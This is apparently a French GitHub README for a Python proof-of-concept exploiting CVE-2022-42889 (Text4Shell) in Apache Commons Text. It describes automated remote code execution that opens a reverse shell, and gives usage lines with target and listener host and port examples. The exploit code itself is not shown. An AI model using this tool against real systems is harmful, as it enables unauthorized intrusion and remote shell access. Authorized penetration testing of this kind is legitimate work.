goultarde/cve-2022-42889-text4shell
Preuve de concept (PoC) pour CVE-2022-42889 (Text4Shell) ciblant les versions d'Apache Commons Text antérieures à 1.10.0. Ce script automatise l'exécution de code à distance (RCE) via l'interpolation de script pour établir un shell inverse. Cette version est une optimisation structurée basée sur l'exploit original trouvé sur Exploit-DB (ID : 52261).
Ce script est un outil de test d'intrusion conçu pour exploiter la vulnérabilité CVE-2022-42889, également connue sous le nom de Text4Shell, dans Apache Commons Text (versions < 1.10.0). Il automatise la livraison d'une charge utile basée sur Java pour déclencher un shell inversé.
Cette implémentation est basée sur l'exploit public : https://www.exploit-db.com/exploits/52261
Le script nécessite Python 3 et la bibliothèque requests.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce script.